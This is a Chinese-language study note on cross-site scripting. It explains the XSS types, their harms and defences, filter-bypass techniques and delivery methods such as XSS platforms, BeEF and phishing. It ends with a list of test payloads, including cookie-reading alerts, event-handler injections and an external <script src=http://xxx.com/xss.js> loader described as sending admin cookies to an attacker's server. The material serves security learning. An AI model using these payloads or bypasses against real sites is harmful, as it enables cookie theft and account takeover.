原理:
XSS攻击的核心思想就是在HTML页面中注入恶意代码服务器过滤不严格导致攻击者输入的恶意js代码被web前端执行XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览
危害:
获取管理员cookie/提权,网站篡改,敏感信息泄露,钓鱼,网站挂马,客户端攻击,传播蠕虫
防御:
对用户输入和web输出均进行过滤,过滤特殊字符<>,",#,特殊标签,JS动作等等;限制用户输入数据的类型/长度;黑白名单;通过使cookie和系统IP绑定,来降低cookie泄露后的危险;httponly:禁止JavaScript读取,防止JavaScript读取,防止xss攻击劫持cookie
区别:
反射和存储:存储型是存储在服务器上,可以被多次执行;反射型只执行一次
dom和反射:dom只经过dom节点运行,不会经过服务器;反射型会经过服务器
反射型
反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中
反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
存储型
持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。
此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
DOM型
只是基于前端本地的攻击类型,和服务器没有交互,根据是否和服务器产生了交互来进行判断。
绕过方式
大小写
双写
编码可以通过将输入的代码用不同的语言重新编码
<script><script>
等价替换(冷门标签)
更换非黑名单标签/更换非过滤标签
添加能够绕过黑名单的字符串,并注释掉,保证代码正常执行且绕过过滤
利用方式
诱使用户点击、
xss平台、
beef(短链接)
水坑攻击
鱼叉攻击
鱼叉式攻击和水坑攻击?
鱼叉攻击:指利用木马程序作为电子邮件的附件,发送到目标电脑上,诱导受害者去打开附件来感染木马
水坑攻击:分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,将网站攻破并植入恶意程序,等待目标访问
Xss平台的平台
Xss平台是通过利用js的远程执行参数<script src = http://xxx/.js>,使对方管理员在上线时执行这个标签然后来访问我们平台并执行这个js里的一些动作,然后会将指定参数发送到我们搭建的服务器上
不能弹窗有什么替换方式
控制台输出console.log
弹出用户cookie:document.cookie
cookie和session区别
cookie:当用户访问服务器的时候服务器会分配给用户一个cookie用于记录用户的身份信息,保存在浏览器中,只要cookie不过期用户就可以对服务器进行操作
session:用户访问服务器时服务器会生成一个sessionid,当用户进行访问操作的时候服务器会查找对应的seeionid,session会记录当前用户的行为、信息。保存在服务器中。
常用标签
javascript伪链接:可以在<a href="javascript:void(0)"></a>标签中添加JavaScript的关键词去执行 javascript事件:可以插入进html标签,指定事件元素,在事件触发时 JavaScript 可以执行一些代码 <script> 标签用于定义客户端脚本,比如 JavaScript。 <script>alert("hack")</script> #弹出hack <script>alert(/hack/)</script> #弹出hack <script>alert(1)</script> #弹出1,对于数字可以不用引号 <script>alert(document.cookie)</script> #弹出cookie <script src=http://xxx.com/xss.js></script> #引用外部的xss <img> 标签定义 HTML 页面中的图像。 <img src=1 onerror=alert(1);> <img src=1 onerror=alert("xss");> <input> 标签规定了用户可以在其中输入数据的输入字段。 onfocus 事件在对象获得焦点时发生: <input onfocus=alert(1);> <a href='javascript:alert(/xss/)'>click me!</a>
1.alert() alert(‘xss’) alert(“xss”) alert(/xss/) alert(document.cookie) 2.confirm() confirm(‘xss’) confirm(“xss”) confirm(/xss/) confirm(document.cookie) 3.prompt() prompt(‘xss’) prompt(“xss”) prompt(/xss/) prompt(document.coolkie) (/xss/)以上三种方法都可以实现,但是会多出两个‘/’ 4.document.write() - document.write('<script>alert("xss")<\/script>') - document.write('<script>alert(/xss/)<\/script>') - document.write('<script>alert(document.cookie)<\/script>') 括号里不能使用单引号; alert也可以换成其他弹窗方式; 5.console.log() console.log(alert(‘xss’)) console.log(alert(“xss”)) console.log(alert(/xss/)) console.log(alert(document.cookie)) 6.输出控制台 1.console.error(111) 2.console.log(document.cookie) 3.console.dir(111)